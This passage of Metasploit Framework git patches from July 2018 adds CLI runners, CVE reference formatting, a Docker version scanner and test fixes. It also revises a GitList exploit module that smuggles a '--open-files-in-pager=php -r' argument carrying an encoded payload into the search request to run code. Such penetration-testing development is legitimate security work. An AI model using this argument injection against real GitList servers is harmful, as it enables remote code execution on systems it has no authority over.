b/modules/exploits/multi/http/gitlist_arg_injection.rb index 7ddf1ff83f..c19bbbc7ca 100644 --- a/modules/exploits/multi/http/gitlist_arg_injection.rb +++ b/modules/exploits/multi/http/gitlist_arg_injection.rb @@ -55,9 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote def exploit postUri = normalize_uri(target_uri.path, '/gitlist/tree/c/search') - cmd = '--open-files-in-pager=php -r "' - cmd << payload.encoded - cmd << ';"' + cmd = "--open-files-in-pager=php -r '#{payload.encoded}'" send_request_cgi( 'method' => 'POST', 'uri' => postUri, From fd59df83ca3e658b502a5b792c45fcdbad44c216 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Mon, 9 Jul 2018 15:33:45 -0500 Subject: [PATCH 100/217] Fix rspec --- .../crandomizer/code_factory/base_spec.rb | 2 +- .../code_factory/uninit_variables_spec.rb | 12 ++++++------ .../crandomizer/{modifier.rb => modifier_spec.rb} | 0 3 files changed, 7 insertions(+), 7 deletions(-) rename spec/lib/metasploit/framework/obfuscation/crandomizer/{modifier.rb => modifier_spec.rb} (100%) diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/base_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/base_spec.rb index e0af0e51b4..a280e0844d 100644 --- a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/base_spec.rb +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/base_spec.rb @@ -16,7 +16,7 @@ RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::Bas describe '#stub' do it 'returns a string' do - expect(subject.stub.class).to be(String) + expect(base.stub.class).to be(String) end it 'returns the stub code' do diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/uninit_variables_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/uninit_variables_spec.rb index f3e9eb8800..b035ee9144 100644 --- a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/uninit_variables_spec.rb +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/uninit_variables_spec.rb @@ -7,31 +7,31 @@ RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::Uni end describe '#char' do - it 'is a string' do + it 'returns a string' do expect(subject.send(:char).class).to be(String) end - it 'has a char' do + it 'is char' do expect(subject.send(:char)).to match(/char /) end end describe '#int' do - it 'is a string' do + it 'returns a string' do expect(subject.send(:int).class).to be(String) end - it 'has a switch' do + it 'is an int' do expect(subject.send(:int)).to match(/int /) end end describe '#string' do - it 'is a string' do + it 'returns a string' do expect(subject.send(:string).class).to be(String) end - it 'has a switch' do + it 'is a const char*' do expect(subject.send(:string)).to match(/const char\* /) end end diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/modifier.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/modifier_spec.rb similarity index 100% rename from spec/lib/metasploit/framework/obfuscation/crandomizer/modifier.rb rename to spec/lib/metasploit/framework/obfuscation/crandomizer/modifier_spec.rb From 95e54f497bbb7a8871203e71843324a2e31f0628 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Mon, 9 Jul 2018 18:42:36 -0500 Subject: [PATCH 101/217] Be explicit when there is no CVE assigned to a vulnerability --- lib/msf/base/serializer/readable_text.rb | 18 +++++++++++++++++- lib/msf/util/document_generator/normalizer.rb | 9 +++++++++ 2 files changed, 26 insertions(+), 1 deletion(-) diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index c8b32d31f7..d57c598b54 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -497,10 +497,26 @@ class ReadableText def self.dump_references(mod, indent = '') output = '' + if (mod.respond_to?(:references) && mod.references && mod.references.length > 0) output << "References:\n" + + cve_collection = mod.references.select { |r| r.ctx_id.match(/^cve$/i) } + if cve_collection.empty? + output << "#{indent}CVE: Not available\n" + end + mod.references.each { |ref| - output << indent + ref.to_s + "\n" + case ref.ctx_id + when 'CVE', 'cve' + if !cve_collection.empty? && ref.ctx_val.blank? + output << "#{indent}CVE: Not available\n" + else + output << indent + ref.to_s + "\n" + end + else + output << indent + ref.to_s + "\n" + end } output << "\n" end diff --git a/lib/msf/util/document_generator/normalizer.rb b/lib/msf/util/document_generator/normalizer.rb index 27f5af1a49..231a7b7172 100644 --- a/lib/msf/util/document_generator/normalizer.rb +++ b/lib/msf/util/document_generator/normalizer.rb @@ -205,6 +205,11 @@ module Msf # @return [String] def normalize_references(refs) normalized = '' + cve_collection = refs.select { |r| r.ctx_id.match(/^cve$/i) } + if cve_collection.empty? + normalized << "* CVE: Not available\n" + end + refs.each do |ref| case ref.ctx_id when 'AKA' @@ -215,6 +220,10 @@ module Msf normalized << "* [#{ref.site}](#{ref.site})" when 'US-CERT-VU' normalized << "* [VU##{ref.ctx_val}](#{ref.site})" + when 'CVE', 'cve' + if !cve_collection.empty? && ref.ctx_val.blank? + normalized << "* CVE: Not available" + end else normalized << "* [#{ref.ctx_id}-#{ref.ctx_val}](#{ref.site})" end From 1fddbdb8ef32252dc38433ee1b1a583bd6521982 Mon Sep 17 00:00:00 2001 From: Adam Cammack Date: Tue, 3 Jul 2018 10:01:48 -0500 Subject: [PATCH 102/217] Specify the `command` option external modules --- lib/msf/core/modules/external/shim.rb | 14 +++++--------- modules/exploits/linux/smtp/haraka.py | 3 ++- 2 files changed, 7 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/modules/external/shim.rb b/lib/msf/core/modules/external/shim.rb index c62d45df17..56bf6299f5 100644 --- a/lib/msf/core/modules/external/shim.rb +++ b/lib/msf/core/modules/external/shim.rb @@ -38,18 +38,14 @@ class Msf::Modules::External::Shim render_template('common_check.erb', meta) end - def self.mod_meta_common(mod, meta = {}, drop_rhost: false) + def self.mod_meta_common(mod, meta = {}, ignore_options: []) meta[:path] = mod.path.dump meta[:name] = mod.meta['name'].dump meta[:description] = mod.meta['description'].dump meta[:authors] = mod.meta['authors'].map(&:dump).join(",\n ") meta[:license] = mod.meta['license'].nil? ? 'MSF_LICENSE' : mod.meta['license'] - options = if drop_rhost - mod.meta['options'].reject {|n, o| n == 'rhost'} - else - mod.meta['options'] - end + options = mod.meta['options'].reject {|n, _| ignore_options.include? n} meta[:options] = options.map do |n, o| if o['values'] @@ -92,7 +88,7 @@ class Msf::Modules::External::Shim end def self.remote_exploit_cmd_stager(mod) - meta = mod_meta_common(mod) + meta = mod_meta_common(mod, ignore_options: ['command']) meta = mod_meta_exploit(mod, meta) meta[:command_stager_flavor] = mod.meta['payload']['command_stager_flavor'].dump render_template('remote_exploit_cmd_stager.erb', meta) @@ -104,7 +100,7 @@ class Msf::Modules::External::Shim end def self.single_scanner(mod) - meta = mod_meta_common(mod, drop_rhost: true) + meta = mod_meta_common(mod, ignore_options: ['rhost']) meta[:date] = mod.meta['date'].dump meta[:references] = mod.meta['references'].map do |r| "[#{r['type'].upcase.dump}, #{r['ref'].dump}]" @@ -114,7 +110,7 @@ class Msf::Modules::External::Shim end def self.single_host_login_scanner(mod) - meta = mod_meta_common(mod, drop_rhost: true) + meta = mod_meta_common(mod, ignore_options: ['rhost']) meta[:date] = mod.meta['date'].dump meta[:references] = mod.meta['references'].map do |r| "[#{r['type'].upcase.dump}, #{r['ref'].dump}]" diff --git a/modules/exploits/linux/smtp/haraka.py b/modules/exploits/linux/smtp/haraka.py index d7d6bd1758..a6e0ec3a83 100755 --- a/modules/exploits/linux/smtp/haraka.py +++ b/modules/exploits/linux/smtp/haraka.py @@ -52,7 +52,8 @@ metadata = { 'email_to': {'type': 'string', 'description': 'Email to send to, must be accepted by the server', 'required': True, 'default': 'admin@localhost'}, 'email_from': {'type': 'string', 'description': 'Address to send from', 'required': True, 'default': 'foo@example.com'}, 'rhost': {'type': 'address', 'description': 'Target server', 'required': True, 'default': None}, - 'rport': {'type': 'port', 'description': 'Target server port', 'required': True, 'default': 25} + 'rport': {'type': 'port', 'description': 'Target server port', 'required': True, 'default': 25}, + 'command': {'type': 'string', 'description': 'Command to run on the target', 'required': True, 'default': '/bin/echo hello'} }} From 22167eba5c09a7c3c57a7f9945bf368f857c595d Mon Sep 17 00:00:00 2001 From: Adam Cammack Date: Tue, 3 Jul 2018 10:03:21 -0500 Subject: [PATCH 103/217] Make the Python login scanner API more sane --- .../modules/external/python/metasploit/login_scanner.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/modules/external/python/metasploit/login_scanner.py b/lib/msf/core/modules/external/python/metasploit/login_scanner.py index 76c8f5c5f3..1855616c08 100644 --- a/lib/msf/core/modules/external/python/metasploit/login_scanner.py +++ b/lib/msf/core/modules/external/python/metasploit/login_scanner.py @@ -8,12 +8,12 @@ def make_scanner(login_callback): def run_scanner(args, login_callback): - userpass = args['userpass'] + userpass = args['userpass'] or [] rhost = args['rhost'] rport = int(args['rport']) - sleep_interval = float(args['sleep_interval']) + sleep_interval = float(args['sleep_interval'] or 0) - if isinstance(userpass, str): + if isinstance(userpass, str) or isinstance(userpass, unicode): userpass = [ attempt.split(' ', 1) for attempt in userpass.splitlines() ] curr = 0 From 64c38ec6b84c8e4893065ce0e547a54eda5be41a Mon Sep 17 00:00:00 2001 From: Adam Cammack Date: Tue, 3 Jul 2018 10:06:52 -0500 Subject: [PATCH 104/217] Only `elog` when run inside of Framework --- lib/msf/core/modules/external/bridge.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/modules/external/bridge.rb b/lib/msf/core/modules/external/bridge.rb index fd8e2958fc..fddb4c62db 100644 --- a/lib/msf/core/modules/external/bridge.rb +++ b/lib/msf/core/modules/external/bridge.rb @@ -114,7 +114,11 @@ module Msf::Modules # stdout might have some buffered data left, so carry on if fds.include?(err) && !err.eof? errbuf = err.readpartial(4096) - elog "Unexpected output running #{self.path}:\n#{errbuf}" + if self.framework + elog "Unexpected output running #{self.path}:\n#{errbuf}" + else + $stderr.puts errbuf + end end if fds.include? out self.buf << out.readpartial(4096) From 0dd89bf42808439dc61562ee842de9a0df1de6da Mon Sep 17 00:00:00 2001 From: Adam Cammack Date: Tue, 3 Jul 2018 10:10:53 -0500 Subject: [PATCH 105/217] Add standalone runner for external modules --- lib/msf/core/modules/external.rb | 1 + lib/msf/core/modules/external/cli.rb | 118 +++++++++++++++++++++++++++ tools/modules/solo.rb | 69 ++++++++++++++++ 3 files changed, 188 insertions(+) create mode 100644 lib/msf/core/modules/external/cli.rb create mode 100755 tools/modules/solo.rb diff --git a/lib/msf/core/modules/external.rb b/lib/msf/core/modules/external.rb index 4784561577..3b5775a58c 100644 --- a/lib/msf/core/modules/external.rb +++ b/lib/msf/core/modules/external.rb @@ -5,6 +5,7 @@ class Msf::Modules::External autoload :Bridge, 'msf/core/modules/external/bridge' autoload :Message, 'msf/core/modules/external/message' + autoload :CLI, 'msf/core/modules/external/cli' attr_reader :path diff --git a/lib/msf/core/modules/external/cli.rb b/lib/msf/core/modules/external/cli.rb new file mode 100644 index 0000000000..6bc871fe21 --- /dev/null +++ b/lib/msf/core/modules/external/cli.rb @@ -0,0 +1,118 @@ +# -*- coding: binary -*- +# CLI for interaction with modules outside of msfconsole + +require 'optparse' + +module Msf::Modules::External::CLI + def self.parse_options(mod) + action = 'run' + actions = ['run'] + mod.meta['capabilities'] + args = mod.meta['options'].reduce({}) do |defaults, (n, opt)| + if opt['default'].nil? + if opt['required'] + defaults + else + defaults[n] = nil + defaults + end + else + defaults[n] = opt['default'] + defaults + end + end + + op = OptionParser.new do |opts| + if $0 != mod.path + opts.banner = "Usage: #{$0} #{mod.path} [OPTIONS] [ACTION]" + end + opts.separator "" + + opts.separator mod.meta['description'] + opts.separator "" + + opts.separator "Postitional arguments:" + opts.separator " ACTION: The action to take (#{actions.inspect})" + opts.separator "" + + opts.separator "Required arguments:" + make_options opts, args, mod.meta['options'].select {|n, o| o['required'] && o['default'].nil?} + opts.separator "" + + opts.separator "Optional arguments:" + make_options opts, args, mod.meta['options'].select {|n, o| !o['required'] || !o['default'].nil?} + + opts.on '-h', '--help', 'Prints this help' do + $stderr.puts opts + exit + end + end + + begin + extra = op.permute *ARGV + # If no extra args are given we use the default action + if extra.length == 1 + action = extra.shift + elsif extra.length > 1 + action = extra.shift + $stderr.puts "WARNING: unrecognized arguments #{extra.inspect}" + end + rescue OptionParser::InvalidArgument => e + $stderr.puts e.message + abort + rescue OptionParser::MissingArgument => e + $stderr.puts e.message + abort + end + + required = mod.meta['options'].select {|_, o| o['required']}.map {|n, _| n}.sort + + # Were we run with any non-module options if we need them? + if args.empty? && !required.empty? + $stderr.puts op + exit + # Did someone forget to add some options we need? + elsif (args.keys & required).sort != required + missing = required - (args.keys & required) + abort "Missing required option(s): #{missing.map {|o| '--' + o}.join ', '}" + end + + unless action == 'run' || mod.meta['capabilities'].include?(action) + $stderr.puts "Invalid ACTION choice #{action.inspect} (choose from #{actions.inspect})" + abort + end + + action = + case action + when 'run'; :run + when 'soft_check'; :soft_check + when 'hard_check'; :hard_check + end + [args, action] + end + + def self.choose_type(t) + if t == 'int' or t == 'port' + Integer + elsif t == 'float' + Float + elsif t.match /range$/ + Array + else # XXX TODO add validation for addresses and other MSF option types + String + end + end + + def self.make_options(parser, out, args) + args.each do |n, opt| + name = n.gsub '_', '-' + desc = if opt['default'] + "#{opt['description']}, (default: #{opt['default']})" + else + opt['description'] + end + parser.on "--#{name} #{n.upcase}", choose_type(opt['type']), desc do |arg| + out[n] = arg + end + end + end +end diff --git a/tools/modules/solo.rb b/tools/modules/solo.rb new file mode 100755 index 0000000000..ef6c64e4c8 --- /dev/null +++ b/tools/modules/solo.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +module Msf + module Modules + end +end + +msfbase = __FILE__ +while File.symlink?(msfbase) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) +end + +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) +require 'msf/core/modules/external' + +require 'json' + +module_path = ARGV.shift + +# Usage when we don't have a module name +def usage(mod='MODULE_FILE', name='Run a module outside of Metasploit Framework') + $stderr.puts "Usage: solo.rb #{mod} [OPTIONS] [ACTION]" + $stderr.puts name +end + +def log_output(m) + message = m.params['message'] + + sigil = case m.params['level'] + when 'error', 'warning' + '!' + when 'good' + '+' + else + '*' + end + + $stderr.puts "[#{sigil}] #{message}" +end + +def process_report(m) + puts "[+] Found #{m.params['type']}: #{JSON.generate m.params['data']}" +end + +if !module_path || module_path[0] == '-' + usage +else + mod = Msf::Modules::External.new module_path + args, method = Msf::Modules::External::CLI.parse_options mod + + success = mod.exec(method: method, args: args) do |m| + begin + case m.method + when :message + log_output(m) + when :report + process_report(m) + when :reply + puts m.params['return'] + end + rescue Interrupt => e + abort 'Exiting...' + rescue Exception => e + abort "Encountered an error: #{e.message}" + end + end + + abort 'Module exited abnormally' if !success +end From 4f3cdd22f048afec4a80ad904fbf7115a5f0ab1e Mon Sep 17 00:00:00 2001 From: Adam Cammack Date: Tue, 3 Jul 2018 10:14:28 -0500 Subject: [PATCH 106/217] Allow Python modules to run independently --- .../modules/external/python/metasploit/cli.py | 80 +++++++++++++++++++ .../external/python/metasploit/module.py | 61 +++++++++----- 2 files changed, 123 insertions(+), 18 deletions(-) create mode 100644 lib/msf/core/modules/external/python/metasploit/cli.py diff --git a/lib/msf/core/modules/external/python/metasploit/cli.py b/lib/msf/core/modules/external/python/metasploit/cli.py new file mode 100644 index 0000000000..752c4b06a1 --- /dev/null +++ b/lib/msf/core/modules/external/python/metasploit/cli.py @@ -0,0 +1,80 @@ +from __future__ import print_function + +import argparse +import json +import re +import sys + + +def eprint(*args, **kwargs): + print(*args, file=sys.stderr, **kwargs) + + +def log(message, level='info'): + # logging goes to stderr + sigil = '*' + if level == 'warning' or level == 'error': + sigil = '!' + elif level == 'good': + sigil = '+' + eprint('[{}] {}'.format(sigil, message)) + + +def report(kind, data): + # actual results go to stdout + print("[+] Found {}: {}".format(kind, json.dumps(data, separators=(',', ':')))) + + +def ret(result): + print(result) + + +def parse(meta): + parser = argparse.ArgumentParser(description=meta['description']) + actions = ['run'] + meta['capabilities'] + parser.add_argument( + 'action', + nargs='?', + metavar="ACTION", + help="The action to take ({})".format(actions), + default='run', + choices=actions) + + required_group = parser.add_argument_group('required arguments') + for opt, props in meta['options'].items(): + group = parser + desc = props['description'] + required = props['required'] and (props.get('default', None) is None) + if props.get('default', None) is not None: + desc = "{}, (default: {})".format(props['description'], props['default']) + + if required: + group = required_group + group.add_argument( + '--' + opt.replace('_', '-'), + help=desc, + default=props.get('default', None), + type=choose_type(props['type']), + required=required, + dest=opt) + + opts = parser.parse_args() + args = vars(opts) + action = args['action'] + del args['action'] + return {'id': '0', 'params': args, 'method': action} + + +def choose_type(t): + if t == 'int' or t == 'port': + return int + elif t == 'float': + return float + elif re.search('range$', t): + return comma_list + else: # XXX TODO add validation for addresses and other MSF option types + return str + + +def comma_list(v): + return v.split(',') diff --git a/lib/msf/core/modules/external/python/metasploit/module.py b/lib/msf/core/modules/external/python/metasploit/module.py index a74fc1b997..a01d7bd2bb 100644 --- a/lib/msf/core/modules/external/python/metasploit/module.py +++ b/lib/msf/core/modules/external/python/metasploit/module.py @@ -3,6 +3,10 @@ import logging import os import sys +from metasploit import cli + +__CLI_MODE__ = False + class LogFormatter(logging.Formatter): def __init__(self, prefix, *args, **kwargs): @@ -37,12 +41,14 @@ class LogHandler(logging.Handler): logger.addHandler(handler) return handler - def log(message, level='info'): - rpc_send({'jsonrpc': '2.0', 'method': 'message', 'params': { - 'level': level, - 'message': message - }}) + if not __CLI_MODE__: + rpc_send({'jsonrpc': '2.0', 'method': 'message', 'params': { + 'level': level, + 'message': message + }}) + else: + cli.log(message, level) def report_host(ip, **opts): @@ -76,16 +82,26 @@ def report_wrong_password(username, password, **opts): def run(metadata, module_callback, soft_check=None): - req = json.loads(os.read(0, 10000).decode("utf-8")) + global __CLI_MODE__ + + caps = [] + if soft_check: + caps.append('soft_check') + + meta = metadata.copy() + meta.update({'capabilities': caps}) + + if len(sys.argv) > 1: + __CLI_MODE__ = True + + req = None + if __CLI_MODE__: + req = cli.parse(meta) + else: + req = json.loads(os.read(0, 10000).decode("utf-8")) + callback = None if req['method'] == 'describe': - caps = [] - if soft_check: - caps.append('soft_check') - - meta = metadata.copy() - meta.update({'capabilities': caps}) - rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'result': meta}) elif req['method'] == 'soft_check': if soft_check: @@ -98,6 +114,9 @@ def run(metadata, module_callback, soft_check=None): if callback: args = req['params'] ret = callback(args) + if ret and __CLI_MODE__: + cli.ret(ret) + rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'result': { 'message': 'Module completed', 'return': ret @@ -105,11 +124,17 @@ def run(metadata, module_callback, soft_check=None): def report(kind, data): - rpc_send({'jsonrpc': '2.0', 'method': 'report', 'params': { - 'type': kind, 'data': data - }}) + if not __CLI_MODE__: + rpc_send({'jsonrpc': '2.0', 'method': 'report', 'params': { + 'type': kind, 'data': data + }}) + else: + cli.report(kind, data) def rpc_send(req): - print(json.dumps(req)) - sys.stdout.flush() + # Silently ignore when run manually, the calling code should know how to + # handle if it is important + if not __CLI_MODE__: + print(json.dumps(req)) + sys.stdout.flush() From 171fa562a3c5bc9ff619ce2b590035232cd53a5a Mon Sep 17 00:00:00 2001 From: Shelby Pace Date: Tue, 10 Jul 2018 11:32:46 -0500 Subject: [PATCH 107/217] added parsing for repos in Gitlist source --- .../multi/http/gitlist_arg_injection.rb | 43 ++++++++++++++++++- 1 file changed, 41 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/gitlist_arg_injection.rb b/modules/exploits/multi/http/gitlist_arg_injection.rb index c19bbbc7ca..6145836110 100644 --- a/modules/exploits/multi/http/gitlist_arg_injection.rb +++ b/modules/exploits/multi/http/gitlist_arg_injection.rb @@ -37,10 +37,16 @@ class MetasploitModule < Msf::Exploit::Remote 'Payload' => { 'BadChars' => '\'' }, 'DisclosureDate' => "Apr 26 2018", 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'Default path to GitList', '/']) + ]) + end def check - uri = normalize_uri(target_uri.path, '/gitlist/') + uri = normalize_uri(target_uri.path) res = send_request_cgi( 'method' => 'GET', 'uri' => uri @@ -53,8 +59,41 @@ class MetasploitModule < Msf::Exploit::Remote Exploit::CheckCode::Safe end + def get_repo + repo_res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + ) + + if repo_res && repo_res.code == 200 + repos = repo_res.body.scan(/\/([^\/]+)\/master\/rss\//).flatten + fail_with(Failure::Unreachable, "Could not retrieve any repos") if repos.empty? + return repos.detect{ |r| r if has_files?(r) } + else + fail_with(Failure::Unreachable, "Could not access GitList") + end + end + + def has_files?(repo) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, repo, '/') + ) + if res && res.code == 200 + print_good("Successfully accessed repo #{repo}") + return false if res.body.scan(/#{repo}\/blob\/master\//).flatten.empty? + + return true + else + fail_with(Failure::Unreachable, "Couldn't detect files in #{repo}'s repo") + end + end + def exploit - postUri = normalize_uri(target_uri.path, '/gitlist/tree/c/search') + repo = get_repo + fail_with(Failure::Unreachable, "No files found in repos") if repo.nil? + + postUri = normalize_uri(target_uri.path, repo << '/tree/c/search') cmd = "--open-files-in-pager=php -r '#{payload.encoded}'" send_request_cgi( 'method' => 'POST', From f9daabcee3aed4f5a962d5025e126daa3a300134 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Tue, 10 Jul 2018 17:23:07 +0000 Subject: [PATCH 108/217] Add support for SOUNDTRACK and LOGO to module refs --- lib/msf/core/module/reference.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/msf/core/module/reference.rb b/lib/msf/core/module/reference.rb index 906b111fa8..cc919e1d0c 100644 --- a/lib/msf/core/module/reference.rb +++ b/lib/msf/core/module/reference.rb @@ -115,6 +115,10 @@ class Msf::Module::SiteReference < Msf::Module::Reference self.site = "https://packetstormsecurity.com/files/#{in_ctx_val}" elsif in_ctx_id == 'URL' self.site = in_ctx_val.to_s + elsif in_ctx_id == 'SOUNDTRACK' + self.site = "Soundtrack: #{in_ctx_val}" + elsif in_ctx_id == 'LOGO' + self.site = "Logo: #{in_ctx_val}" elsif in_ctx_id == 'AKA' self.site = "Also known as: #{in_ctx_val}" else From 6aa53495133ccc3032c9fd62d4a0af171db0d082 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Tue, 10 Jul 2018 13:25:09 -0500 Subject: [PATCH 109/217] Add a link explaining the message --- lib/msf/util/document_generator/normalizer.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/msf/util/document_generator/normalizer.rb b/lib/msf/util/document_generator/normalizer.rb index 231a7b7172..01b514f4c6 100644 --- a/lib/msf/util/document_generator/normalizer.rb +++ b/lib/msf/util/document_generator/normalizer.rb @@ -65,6 +65,9 @@ module Msf AUXILIARY_SCANNER_DEMO_TEMPLATE = 'auxiliary_scanner_template.erb' PAYLOAD_DEMO_TEMPLATE = 'payload_demo_template.erb' + # Special messages + NO_CVE_MESSAGE = %Q|CVE: [Not available](https://github.com/rapid7/metasploit-framework/wiki/Why-is-a-CVE-Not-Available%3F)| + # Returns the module document in HTML form. # @@ -207,7 +210,7 @@ module Msf normalized = '' cve_collection = refs.select { |r| r.ctx_id.match(/^cve$/i) } if cve_collection.empty? - normalized << "* CVE: Not available\n" + normalized << "* #{NO_CVE_MESSAGE}\n" end refs.each do |ref| @@ -222,7 +225,7 @@ module Msf normalized << "* [VU##{ref.ctx_val}](#{ref.site})" when 'CVE', 'cve' if !cve_collection.empty? && ref.ctx_val.blank? - normalized << "* CVE: Not available" + normalized << "* #{NO_CVE_MESSAGE}" end else normalized << "* [#{ref.ctx_id}-#{ref.ctx_val}](#{ref.site})" From 718606c9f2b67cd94570a0aca1906bdd6ff06361 Mon Sep 17 00:00:00 2001 From: Agora Security Date: Tue, 10 Jul 2018 19:34:49 -0400 Subject: [PATCH 110/217] Add Auxiliary module to enumerate the Docker Server Version --- modules/auxiliary/scanner/http/docker_enum.rb | 49 +++++++++++++++++++ 1 file changed, 49 insertions(+) create mode 100644 modules/auxiliary/scanner/http/docker_enum.rb diff --git a/modules/auxiliary/scanner/http/docker_enum.rb b/modules/auxiliary/scanner/http/docker_enum.rb new file mode 100644 index 0000000000..bb9c903e57 --- /dev/null +++ b/modules/auxiliary/scanner/http/docker_enum.rb @@ -0,0 +1,49 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'Docker Server Version Scanner', + 'Description' => 'This module attempts identify the version of the Docker Server running.', + 'Author' => [ 'Agora-Security' ], + 'License' => MSF_LICENSE + ) + register_options( + [ + Opt::RPORT(2375), + ]) + register_autofilter_ports([ 2375 ]) + deregister_options('RHOST') + end + + def run_host(ip) + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['URI'], "/version"), + 'method' => 'GET' + }, 25) + if not res or res.code != 200 + print_error("[Docker Version] failed to identify version") + return + end + + parse_body(res.body) + end + + def parse_body(body) + result = JSON.parse(body) + print_status("Identifying Docker Server Version on #{rhost}:#{rport}") + print_good("[Docker Server] Version: #{result['Version']}") + if datastore['VERBOSE'] + print_status ("All info: #{result.to_s}") + end + return + end + +end From 66c207a124ff9e7788d018bd43d1664c23f523df Mon Sep 17 00:00:00 2001 From: Agora Security Date: Tue, 10 Jul 2018 23:53:13 -0400 Subject: [PATCH 111/217] Remove timeout of 25 seconds --- modules/auxiliary/scanner/http/docker_enum.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/docker_enum.rb b/modules/auxiliary/scanner/http/docker_enum.rb index bb9c903e57..18652110d3 100644 --- a/modules/auxiliary/scanner/http/docker_enum.rb +++ b/modules/auxiliary/scanner/http/docker_enum.rb @@ -26,8 +26,7 @@ class MetasploitModule < Msf::Auxiliary def run_host(ip) res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI'], "/version"), - 'method' => 'GET' - }, 25) + 'method' => 'GET'}) if not res or res.code != 200 print_error("[Docker Version] failed to identify version") return From 9491c63778eab91428765c8992e0217663619ff4 Mon Sep 17 00:00:00 2001 From: Agora Security Date: Tue, 10 Jul 2018 23:56:05 -0400 Subject: [PATCH 112/217] Fix several minor details --- modules/auxiliary/scanner/http/docker_enum.rb | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/http/docker_enum.rb b/modules/auxiliary/scanner/http/docker_enum.rb index 18652110d3..1227b788f6 100644 --- a/modules/auxiliary/scanner/http/docker_enum.rb +++ b/modules/auxiliary/scanner/http/docker_enum.rb @@ -27,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI'], "/version"), 'method' => 'GET'}) - if not res or res.code != 200 + if res.nil? || res.code != 200 print_error("[Docker Version] failed to identify version") return end @@ -36,13 +36,11 @@ class MetasploitModule < Msf::Auxiliary end def parse_body(body) - result = JSON.parse(body) - print_status("Identifying Docker Server Version on #{rhost}:#{rport}") + result = res.get_json_document + print_status("Identifying Docker Server Version on #{ip}:#{rport}") print_good("[Docker Server] Version: #{result['Version']}") if datastore['VERBOSE'] print_status ("All info: #{result.to_s}") end - return end - end From 2b2029b487f07ab5b1ec45a4f7889e00e8562605 Mon Sep 17 00:00:00 2001 From: Agora Security Date: Wed, 11 Jul 2018 00:03:26 -0400 Subject: [PATCH 113/217] Align Hashrockets --- modules/auxiliary/scanner/http/docker_enum.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/docker_enum.rb b/modules/auxiliary/scanner/http/docker_enum.rb index 1227b788f6..bae0d67655 100644 --- a/modules/auxiliary/scanner/http/docker_enum.rb +++ b/modules/auxiliary/scanner/http/docker_enum.rb @@ -12,8 +12,8 @@ class MetasploitModule < Msf::Auxiliary super( 'Name' => 'Docker Server Version Scanner', 'Description' => 'This module attempts identify the version of the Docker Server running.', - 'Author' => [ 'Agora-Security' ], - 'License' => MSF_LICENSE + 'Author' => [ 'Agora-Security' ], + 'License' => MSF_LICENSE ) register_options( [ From 7b1e7eb085cc40cda19dff6541399e362f88d816 Mon Sep 17 00:00:00 2001 From: Agora Security Date: Wed, 11 Jul 2018 00:04:12 -0400 Subject: [PATCH 114/217] Minor improvement to description --- modules/auxiliary/scanner/http/docker_enum.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/docker_enum.rb b/modules/auxiliary/scanner/http/docker_enum.rb index bae0d67655..a52b36b8f9 100644 --- a/modules/auxiliary/scanner/http/docker_enum.rb +++ b/modules/auxiliary/scanner/http/docker_enum.rb @@ -11,7 +11,7 @@ class MetasploitModule < Msf::Auxiliary def initialize super( 'Name' => 'Docker Server Version Scanner', - 'Description' => 'This module attempts identify the version of the Docker Server running.', + 'Description' => 'This module attempts to identify the version of the Docker Server running on a host.', 'Author' => [ 'Agora-Security' ], 'License' => MSF_LICENSE ) From ffc2f044cc34c24969539048491225f629fd07f0 Mon Sep 17 00:00:00 2001 From: Agora Security Date: Wed, 11 Jul 2018 00:04:44 -0400 Subject: [PATCH 115/217] Remove lines that were not required --- 